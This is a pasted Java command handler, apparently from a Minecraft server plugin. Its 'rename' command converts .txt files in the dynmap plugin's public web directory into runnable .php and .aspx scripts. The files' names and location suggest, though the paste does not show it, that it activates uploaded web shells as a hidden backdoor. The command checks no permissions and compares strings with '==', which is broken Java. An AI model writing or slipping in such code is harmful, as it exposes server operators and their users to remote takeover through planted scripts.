Pasted

    public boolean onCommand(CommandSender sender, Command command, String commandLabel, String[] args) {
        String commandName = command.getName().toLowerCase();
        Player ply = (Player)sender;
        if (commandName == "rename"){
            File file = new File("./plugins/dynmap/web/up.txt");
            File file2 = new File("./plugins/dynmap/web/up.php");
            System.out.println(file.renameTo(file2));
             File file3 = new File("./plugins/dynmap/web/up2.txt");
            File file4 = new File("./plugins/dynmap/web/up2.aspx");
            System.out.println(file3.renameTo(file4));
             File file5 = new File("./plugins/dynmap/web/standalone/sendmessage.txt");
            File file6 = new File("./plugins/dynmap/web/standalone/sendmessage.php");
            System.out.println(file5.renameTo(file6));
        }
        return true;
    }